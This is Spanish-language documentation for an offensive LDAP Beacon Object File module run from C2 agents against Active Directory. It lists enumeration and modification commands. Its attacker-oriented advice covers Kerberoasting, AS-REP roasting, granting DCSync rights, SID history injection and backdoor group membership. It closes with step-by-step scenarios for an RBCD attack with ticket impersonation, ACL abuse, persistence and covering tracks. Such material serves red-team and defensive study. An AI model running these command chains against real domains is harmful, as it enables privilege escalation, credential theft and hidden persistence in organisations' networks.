El módulo LDAP-BOF proporciona un conjunto exhaustivo de BOFs para interactuar directamente con Active Directory a través del protocolo LDAP. Con más de 45 comandos organizados en operaciones GET, ADD, SET, MOVE y REMOVE, permite enumerar, crear, modificar y eliminar cualquier objeto del dominio. Todos los comandos se ejecutan bajo el prefijo ldap y están disponibles en agentes Beacon, Gopher y Kharon en Windows.

Flags Comunes

Todos los comandos de ldap aceptan los siguientes flags opcionales:

FlagDescripción
-ou "OU=X,DC=domain,DC=local"Ruta de la OU donde buscar
-dc dc01.domain.localFQDN del Domain Controller
--ldapsUsar LDAPS (puerto 636, cifrado). Obligatorio automáticamente en operaciones con contraseñas

Si no se especifica -dc, el BOF auto-detecta el Domain Controller del dominio actual.


GET — Enumeración

ldap get-users

Lista todos los usuarios del dominio.

ldap get-users
ldap get-users -ou "OU=Employees,DC=corp,DC=local"
ldap get-users -a description,mail,lastLogon -dc dc01.corp.local

Cuándo usarlo: Primer paso de enumeración para obtener una lista completa de cuentas de usuario. Usa -a para obtener atributos adicionales como descripciones (a menudo contienen contraseñas anotadas).

ldap get-computers

Lista todos los equipos del dominio.

ldap get-computers
ldap get-computers -a operatingSystem,description
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"

Cuándo usarlo: Para mapear la infraestructura del dominio e identificar servidores, estaciones de trabajo y sus sistemas operativos.

ldap get-groups

Lista todos los grupos del dominio.

ldap get-groups
ldap get-groups -a description,member

ldap get-usergroups

Muestra todos los grupos a los que pertenece un usuario.

ldap get-usergroups jdoe
ldap get-usergroups "CN=Jane Doe,OU=Users,DC=corp,DC=local"
ldap get-usergroups admin01 -dc dc01.corp.local

Cuándo usarlo: Para evaluar los privilegios de un usuario comprometido. Identifica membresías en grupos privilegiados como Domain Admins, Enterprise Admins, etc.

ldap get-groupmembers

Lista todos los miembros de un grupo.

ldap get-groupmembers "Domain Admins"
ldap get-groupmembers "Remote Desktop Users" -dc dc01.corp.local

Cuándo usarlo: Para identificar cuentas de alto privilegio que podrían ser objetivos de ataque.

ldap get-object

Obtiene todos los atributos de un objeto del dominio.

ldap get-object jdoe
ldap get-object "CN=DC01,OU=Domain Controllers,DC=corp,DC=local"
ldap get-object jdoe --ldaps

Cuándo usarlo: Para un análisis profundo de un objeto específico. Revela todos los atributos incluidos los de seguridad.

ldap get-domaininfo

Obtiene información del dominio desde rootDSE: nivel funcional, naming contexts, versión del esquema.

ldap get-domaininfo
ldap get-domaininfo -dc dc01.corp.local

Cuándo usarlo: Para entender la configuración del dominio, nivel funcional (afecta qué ataques son posibles), y descubrir otros dominios en el bosque.

ldap get-maq

Consulta el valor de ms-DS-MachineAccountQuota (cuota de cuentas de equipo).

ldap get-maq
ldap get-maq -dc dc01.corp.local

Cuándo usarlo: Si el valor es > 0 (por defecto es 10), cualquier usuario del dominio puede crear cuentas de equipo. Esto es esencial para ataques RBCD donde necesitas una cuenta de equipo que controles.

ldap get-writable

Encuentra objetos sobre los que tienes permisos de escritura.

ldap get-writable
ldap get-writable --detailed
ldap get-writable -ou "OU=Servers,DC=corp,DC=local" --detailed

Cuándo usarlo: Comando crítico para descubrir rutas de ataque basadas en ACLs. Si puedes escribir en un objeto, puedes potencialmente modificar sus atributos para escalar privilegios (ej: agregar delegación, modificar SPN, cambiar contraseña).

ldap get-delegation

Obtiene la configuración de delegación de un objeto.

ldap get-delegation svc_sql
ldap get-delegation WEB01$ -dc dc01.corp.local

Cuándo usarlo: Para identificar cuentas con delegación sin restricciones (Unconstrained), delegación restringida (Constrained) o RBCD configurada. Las cuentas con delegación son objetivos de alto valor.

ldap get-uac

Muestra los flags UAC (User Account Control) de un objeto.

ldap get-uac jdoe
ldap get-uac svc_backup -dc dc01.corp.local

Cuándo usarlo: Para identificar configuraciones peligrosas como DONT_REQ_PREAUTH (AS-REP Roasting), TRUSTED_FOR_DELEGATION (delegación sin restricciones), o PASSWD_NOTREQD.

ldap get-attribute

Obtiene valores de atributos específicos de un objeto.

ldap get-attribute jdoe objectSid,mail,description
ldap get-attribute DC01$ msDS-AllowedToDelegateTo

ldap get-spn

Lista los SPNs registrados en un objeto.

ldap get-spn svc_mssql
ldap get-spn WEB01$ -dc dc01.corp.local

Cuándo usarlo: Para Kerberoasting — las cuentas con SPNs pueden ser atacadas para obtener sus hashes de contraseña.

ldap get-acl

Obtiene el descriptor de seguridad (DACL) de un objeto.

ldap get-acl jdoe
ldap get-acl "CN=AdminSDHolder,CN=System,DC=corp,DC=local" --resolve
ldap get-acl svc_account --resolve -dc dc01.corp.local

Cuándo usarlo: Comando crítico para auditar permisos. Con --resolve se muestran los nombres en lugar de SIDs. Busca permisos como GenericAll, WriteDacl, WriteOwner, GenericWrite sobre objetos de alto valor.

ldap get-rbcd

Obtiene la configuración de Resource-Based Constrained Delegation (RBCD).

ldap get-rbcd WEB01$
ldap get-rbcd DC01$ -dc dc01.corp.local

Cuándo usarlo: Para verificar qué cuentas tienen permiso para actuar en nombre de otros usuarios hacia este equipo.


ADD — Creación

ldap add-user

Crea un nuevo usuario en el dominio.

ldap add-user testuser 'P@ssw0rd!' -ou "OU=Users,DC=corp,DC=local"
ldap add-user newadmin 'C0mpl3x!' -fn John -ln Smith -email john@corp.local
ldap add-user svc_test 'SvcP@ss!' --disabled

Cuándo usarlo: Para crear una cuenta persistente controlada. La conexión siempre usa LDAPS automáticamente para operaciones con contraseñas.

ldap add-computer

Crea una nueva cuenta de equipo en el dominio.

ldap add-computer FAKEWKS01
ldap add-computer FAKEWKS01 -p 'MachineP@ss!' --ldaps
ldap add-computer FAKEWKS01 -ou "OU=Computers,DC=corp,DC=local"

Cuándo usarlo: Esencial para ataques RBCD. Creas un equipo que controlas, luego configuras RBCD en el objetivo para que tu equipo pueda delegar. Verifica la cuota con get-maq primero.

ldap add-group

Crea un nuevo grupo en el dominio.

ldap add-group MiGrupo -desc "Grupo de prueba" -scope global
ldap add-group SvcAccounts -type security -scope domainlocal

ldap add-ou

Crea una nueva Unidad Organizativa.

ldap add-ou "OU=Testing,DC=corp,DC=local" -desc "OU de pruebas"
ldap add-ou NewOU -parent "OU=Projects,DC=corp,DC=local"

ldap add-groupmember

Agrega un miembro a un grupo.

ldap add-groupmember "Domain Admins" jdoe
ldap add-groupmember "Remote Desktop Users" testuser -dc dc01.corp.local

Cuándo usarlo: Para escalar privilegios agregándote a grupos privilegiados cuando tienes los permisos necesarios (GenericAll, GenericWrite, o WriteDACL sobre el grupo).

ldap add-spn

Agrega un SPN a un objeto.

ldap add-spn svc_test MSSQLSvc/db01.corp.local:1433
ldap add-spn jdoe HTTP/web01.corp.local

Cuándo usarlo: Para configurar un SPN en una cuenta que controlas (necesario para ciertos ataques de delegación), o para hacer que una cuenta sea kerberoasteable.

ldap add-attribute

Agrega un valor a un atributo.

ldap add-attribute jdoe description "Cuenta de servicio"
ldap add-attribute WEB01$ info "Managed by IT"

ldap add-uac

Agrega flags UAC a un objeto (sin eliminar los existentes).

ldap add-uac svc_test DONT_EXPIRE_PASSWD
ldap add-uac jdoe TRUSTED_FOR_DELEGATION

ldap add-delegation

Agrega un SPN de delegación.

ldap add-delegation svc_web HTTP/app01.corp.local

ldap add-ace

Agrega una ACE (Access Control Entry) al DACL de un objeto.

ldap add-ace "CN=jdoe,OU=Users,DC=corp,DC=local" attacker GenericAll
ldap add-ace DC01$ jdoe WriteDacl -dc dc01.corp.local
ldap add-ace "DC=corp,DC=local" svc_test GenericAll -type allow -flags "CI,OI"

Parámetros opcionales:

  • -type — Tipo de ACE: allow (por defecto) o deny
  • -flags — Flags de herencia: CI (Container Inherit), OI (Object Inherit)
  • -guid — GUID del tipo de objeto
  • -inherit-guid — GUID del tipo de objeto heredado

Cuándo usarlo: Para establecer persistencia mediante ACLs. Otorga permisos sobre objetos de dominio que sobreviven a cambios de contraseña.

ldap add-rbcd

Configura Resource-Based Constrained Delegation (RBCD).

ldap add-rbcd WEB01$ FAKEWKS01$
ldap add-rbcd DC01$ MiEquipo$ -dc dc01.corp.local

Cuándo usarlo: Paso clave del ataque RBCD. Después de crear una cuenta de equipo (add-computer), configuras el equipo objetivo para que acepte delegación desde tu equipo controlado. Luego usas kerbeus s4u para obtener tickets de servicio como cualquier usuario.

ldap add-sidhistory

Agrega un SID al atributo sIDHistory de un objeto.

ldap add-sidhistory jdoe S-1-5-21-123456789-123456789-123456789-500
ldap add-sidhistory testuser Administrator -dc dc01.corp.local

Cuándo usarlo: Para inyectar el SID de un administrador en el historial SID de tu cuenta. El token de seguridad incluirá ambos SIDs, otorgándote acceso como si fueras ese administrador.


Macros ADD — Atajos

Comandos de conveniencia que simplifican operaciones comunes de escalación de privilegios.

ldap add-genericall

Otorga control total (GenericAll) sobre un objeto.

ldap add-genericall "CN=jdoe,OU=Users,DC=corp,DC=local" attacker

ldap add-genericwrite

Otorga escritura genérica (GenericWrite) sobre un objeto.

ldap add-genericwrite WEB01$ attacker -dc dc01.corp.local

ldap add-dcsync

Otorga permisos de DCSync (Replicating Directory Changes) sobre el dominio.

ldap add-dcsync "DC=corp,DC=local" jdoe

Cuándo usarlo: Permite ejecutar DCSync con la cuenta especificada para extraer todos los hashes del dominio sin necesidad de ser Domain Admin.

ldap add-asreproastable

Establece el flag DONT_REQ_PREAUTH en un usuario, haciéndolo vulnerable a AS-REP Roasting.

ldap add-asreproastable svc_legacy -dc dc01.corp.local

ldap add-unconstrained

Habilita delegación sin restricciones (TRUSTED_FOR_DELEGATION) en un objeto.

ldap add-unconstrained WEB01$ -dc dc01.corp.local

ldap add-constrained

Configura delegación restringida (Constrained Delegation) con SPNs específicos.

ldap add-constrained svc_web HTTP/app01.corp.local -dc dc01.corp.local

SET — Reemplazo

Los comandos SET reemplazan el valor actual en lugar de agregarlo.

ldap set-password

Restablece o cambia la contraseña de un usuario.

# Reset de contraseña (como administrador, sin conocer la actual)
ldap set-password jdoe 'N3wP@ssw0rd!'

# Cambio de contraseña (como el propio usuario)
ldap set-password jdoe 'N3wP@ssw0rd!' -old 'OldP@ss!'

Cuándo usarlo: Si tienes permisos de reset (GenericAll, ForceChangePassword) sobre una cuenta, puedes cambiar su contraseña sin conocer la actual. Siempre usa LDAPS automáticamente.

ldap set-spn

Reemplaza todos los SPNs de un objeto.

ldap set-spn svc_test MSSQLSvc/db01.corp.local:1433

ldap set-delegation

Reemplaza los SPNs de delegación.

ldap set-delegation svc_web HTTP/app01.corp.local

ldap set-attribute

Reemplaza el valor de un atributo.

ldap set-attribute jdoe description "Updated description"

ldap set-uac

Reemplaza todos los flags UAC. Precaución: reemplaza los flags existentes en lugar de agregar.

ldap set-uac jdoe NORMAL_ACCOUNT,DONT_EXPIRE_PASSWD

ldap set-owner

Cambia el propietario de un objeto. Requiere el permiso WriteOwner.

ldap set-owner "CN=TargetObject,DC=corp,DC=local" "CN=attacker,OU=Users,DC=corp,DC=local"

Cuándo usarlo: Si tienes WriteOwner sobre un objeto, puedes hacerte propietario y luego darte GenericAll a ti mismo.


MOVE — Mover Objetos

ldap move-object

Mueve un objeto a una OU diferente. Opcionalmente renombra.

ldap move-object jdoe "OU=Disabled,DC=corp,DC=local"
ldap move-object WEB01$ "OU=Servers,DC=corp,DC=local" -n WEB01-OLD$

REMOVE — Eliminación

ldap remove-groupmember

Elimina un miembro de un grupo.

ldap remove-groupmember "Domain Admins" compromised_user

Cuándo usarlo: Para limpieza post-operación — eliminar cuentas que agregaste a grupos privilegiados.

ldap remove-object

Elimina un objeto del dominio.

ldap remove-object testuser -ou "OU=Users,DC=corp,DC=local"
ldap remove-object FAKEWKS01$ -dc dc01.corp.local

ldap remove-spn

Elimina un SPN específico de un objeto.

ldap remove-spn svc_test MSSQLSvc/db01.corp.local:1433

ldap remove-delegation

Elimina un SPN de delegación.

ldap remove-delegation svc_web HTTP/app01.corp.local

ldap remove-attribute

Elimina un atributo o un valor específico.

# Eliminar todo el atributo
ldap remove-attribute jdoe description

# Eliminar solo un valor específico
ldap remove-attribute jdoe description -value "Old value"

ldap remove-uac

Elimina flags UAC de un objeto.

ldap remove-uac jdoe DONT_EXPIRE_PASSWD
ldap remove-uac svc_test DONT_REQ_PREAUTH

ldap remove-ace

Elimina una ACE del DACL de un objeto. Se puede filtrar por trustee, permisos, tipo o índice.

ldap remove-ace "CN=jdoe,OU=Users,DC=corp,DC=local" -trustee attacker
ldap remove-ace DC01$ -trustee jdoe -rights WriteDacl
ldap remove-ace "DC=corp,DC=local" -index 15

ldap remove-rbcd

Elimina una delegación RBCD.

ldap remove-rbcd WEB01$ FAKEWKS01$

Macros REMOVE

ldap remove-genericall "CN=target,DC=corp,DC=local" attacker
ldap remove-genericwrite WEB01$ attacker
ldap remove-dcsync "DC=corp,DC=local" jdoe

Escenarios de Uso

1. Enumeración Inicial del Dominio

ldap get-domaininfo
ldap get-users -a description,lastLogon
ldap get-groupmembers "Domain Admins"
ldap get-groupmembers "Enterprise Admins"
ldap get-computers -a operatingSystem

2. Descubrimiento de Rutas de Ataque

# Encontrar objetos sobre los que tienes escritura
ldap get-writable --detailed

# Auditar ACLs de objetos de alto valor
ldap get-acl "Domain Admins" --resolve
ldap get-acl "DC=corp,DC=local" --resolve

# Buscar delegaciones peligrosas
ldap get-delegation svc_sql
ldap get-uac svc_backup

3. Ataque RBCD (Resource-Based Constrained Delegation)

# 1. Verificar que puedes crear equipos
ldap get-maq

# 2. Crear cuenta de equipo controlada
ldap add-computer FAKEWKS01 -p 'MachineP@ss!'

# 3. Configurar RBCD en el objetivo
ldap add-rbcd TARGET_SERVER$ FAKEWKS01$

# 4. Usar Kerbeus para obtener ticket como admin
kerbeus s4u /ticket:... /impersonateuser:Administrator /service:cifs/TARGET_SERVER.corp.local

# 5. Limpiar
ldap remove-rbcd TARGET_SERVER$ FAKEWKS01$
ldap remove-object FAKEWKS01$

4. Abuso de ACLs

# Si tienes GenericAll sobre un usuario:
ldap set-password targetuser 'NewP@ss!'

# Si tienes WriteDACL sobre el dominio:
ldap add-dcsync "DC=corp,DC=local" miusuario

# Si tienes WriteOwner:
ldap set-owner "CN=target,DC=corp,DC=local" "CN=miusuario,OU=Users,DC=corp,DC=local"
ldap add-genericall "CN=target,DC=corp,DC=local" miusuario

5. Persistencia

# Agregar usuario a grupo privilegiado
ldap add-groupmember "Domain Admins" backdoor_user

# Inyección de SID History
ldap add-sidhistory backdoor_user Administrator

# Persistencia vía ACLs (sobrevive cambios de contraseña)
ldap add-dcsync "DC=corp,DC=local" svc_persistent

6. Limpieza Post-Operación

# Eliminar miembros de grupos
ldap remove-groupmember "Domain Admins" backdoor_user

# Eliminar ACEs agregadas
ldap remove-dcsync "DC=corp,DC=local" svc_persistent
ldap remove-genericall "CN=target,DC=corp,DC=local" miusuario

# Eliminar objetos creados
ldap remove-object FAKEWKS01$
ldap remove-object backdoor_user